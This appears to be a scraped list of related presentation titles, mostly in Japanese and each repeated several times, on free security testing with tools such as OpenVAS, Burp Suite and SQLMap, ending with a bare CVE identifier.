The vulnerabilities never bothered me anywayThe vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anyway
 
フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編
 
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したらもしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
 
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)
 
Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~
 
おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。
 
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
 

Cve 2013-0422